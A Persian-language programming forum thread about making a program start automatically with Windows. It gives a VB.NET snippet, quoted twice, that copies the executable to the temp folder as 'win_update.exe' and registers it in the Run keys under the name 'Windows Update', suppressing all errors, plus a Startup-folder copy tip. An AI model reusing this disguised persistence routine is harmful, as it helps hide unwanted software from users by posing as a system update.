یعنی برنامه بره Start Up?

کاری نداره

دوست عزیز شرمنده من ندیدم این تایپیک رو ولی کد استارت اپ اینه

Try

If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then

System.IO.File.Copy(System.Reflection.Assembly. _

GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")

End If

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

این برای زبان برنامه نویسی ویژیوال استیودیو هست!

برای اتوپلی می خوام

برای این که بخواید فایلی که نوشتید وقتی که کامپیوتر رو روشن کردید به طور اتوماتیک اجرا بشه باید یه کدی به برنامه بدید تا یک نسخه از خودشو داخل Start up ویندوز کپی کنه .. در اصل باید در این دایرکتوری کپی کنه خودشو :

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

که با کد زیر میتونید این کار رو انجام بدید.

این دستور رو داخل Form Load بنویسید :

FileCopy "adrese morede nazar", "adrese mahale copy"

موفق و سر بلند باشید

نقل قول از mohamad-blood

دوست عزیز شرمنده من ندیدم این تایپیک رو ولی کد استارت اپ اینه

Try

If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then

System.IO.File.Copy(System.Reflection.Assembly. _

GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")

End If

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

Try

Dim regKey As RegistryKey

regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")

regKey.Close()

Catch ex As Exception

End Try

این برای زبان برنامه نویسی ویژیوال استیودیو هست!

موفق باشید